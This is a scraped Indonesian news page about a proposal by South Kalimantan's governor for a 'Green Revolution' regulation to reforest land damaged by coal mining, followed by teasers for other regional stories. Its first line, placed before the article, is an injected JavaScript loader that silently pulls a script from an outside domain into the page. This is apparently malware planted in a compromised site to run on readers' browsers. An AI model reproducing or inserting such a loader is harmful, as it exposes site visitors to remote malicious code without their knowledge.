(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Banyaknya kerusakan lingkungan akibat pertambangan batubara menjadi kerasahan Gubernur Kalsel Sahbirin Noor. Untuk menghijaukan kembali kawasan tersebut, dia berinisiatif mengusulkan Perda terkait Revolusi Hijau kepada DPRD Provinsi Kalsel, Kamis (2/11)
Dalam sidang paripurna dewan, Wakil Gubernur Kalsel Rudy Resnawan mengungkapkan bahwa Perda tersebut merupakan wewenang daerah untuk mengatur daerahnya sendiri bagaimana amanah UU Nomor 23 Tahun 2014 tentang Pemerintah Daerah.  Selain itu, Perda Revolusi Hijau dibentuk berdasarkan rasa keprihatinan terhadap lingkungan alam Kalsel yang semakin mengalami penurunan kualitas sehingga sangat berpengaruh pada ekosistem.
“Kita akan manfaatkan lahan kritis tersebut untuk penghijaun dengan melakukan penanaman, ” ungkapnya.
Ia menilai selama ini lingkungan masih kurang perhatian dari pemangku kepentingan, sehingga masih banyak lahan yang kritis. “Melalui Raperda ini adalah bentuk kepedulian,” ujarnya.
Di sisi lain, dewan pun menyambut baik rencana Perda tersebut. Rencananya, Senin (6/11) akan diadakan pandangan umum setiap fraksi partai politik yang ada kursi dewan terhadap Raperda yang diusulkan oleh gubernur.
Revolusi Hijau yang digalakkan Pemprov diharapkan mampu merehabilitasi kerusakan lingkungan di wilayah tersebut. Revolusi hijau ditandai dengan penghijauan di sepanjang ruas Jalan Trans-Kalimantan serta rehabilitasi daerah aliran sungai (DAS) mencapai 35.000 hektare per tahun.
Revolusi hijau merupakan program pembangunan bidang lingkungan yang menjadi visi dan misi Gubernur Kalsel, Sahbirin Noor. Program dengan jargon ‘menanam, menanam, dan menanam’ ini menitikberatkan pada kegiatan edukasi, peningkatan kepedulian, kemampuan dan kemandirian masyarakat dalam menanam.
Program ini juga bertujuan meningkatkan indeks kualitas lingkungan Kalsel yang kini berada pada urutan 26 dari 33 provinsi di Tanah Air.
“Program revolusi hijau yang mulai kita galakkan sejak dua tahun terakhir ini diharapkan mampu mengatasi kerusakan lingkungan di Kalsel,” ungkap Kepala Dinas Kehutanan Kalsel, Hanif Faisol Nurofiq, beberapa waktu lalu.
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
This website uses cookies.